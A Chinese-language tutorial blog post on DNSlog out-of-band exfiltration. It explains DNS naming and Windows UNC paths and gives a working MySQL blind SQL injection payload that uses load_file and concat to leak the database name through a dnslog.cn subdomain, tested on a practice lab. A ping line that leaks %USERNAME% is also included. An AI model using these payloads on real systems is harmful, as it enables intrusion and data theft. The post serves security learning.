0%

dnslog注入学习

什么是DNSlog

DNS(Domain Name System)域名服务系统,简单的说就是域名与IP转换服务,比如用户输入a.com,DNS就会将a.com解析找到它真实的ip,以便于访问服务器上的相关服务,DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问的信息,类似于日志文件。

DNSlog回显原理

首先我们先了解一下多级域名的概念

域名分级与域名解析过程(DNS)

因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。例如872323857.github.io,io就是顶级域名,github就是二级域名,872323857就是三级域名。且域名不分大小写。

通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

自己操作一下才能更好的理解,首先在http://www.dnslog.cn/上获得一个域名,然后我们ping一下

我们将1换成别的试试

可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和域名拼接起来。

DNSlog利用

sql注入

就以sql盲注为例,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,为什么呢。因为在利用sql盲注进行DNSlog回显时,需要用到load_file函数,这个函数可以进行DNS请求。那
和只能在windows上用有什么关系呢,这里就涉及到Windows的一个小Tips——UNC路径

UNC路径

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
\abc.xxx\test
这也就解释了为什么CONCAT()函数拼接了4个\了,双斜杠表示网络资源路径多加两个\就是转义了反斜杠。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=””就是可以load_flie任意磁盘的文件。

在mysql中执行命令select load_file('\\\\a.a92pjl.dnslog.cn\\a');可以看到

和之前的结合起来构造语句,用sqli靶场来测试

1
2
' and if((select load_file(concat('\\\\',(select database()),'.
bhf0ay.dnslog.cn\\abc'))),1,0)--+

小结

DNSlog注入不止可以用于sql注入,还可以用于xss,xxe,ssrf等,思路打开。

可以参考:

https://www.cnblogs.com/Xy--1/p/12896599.html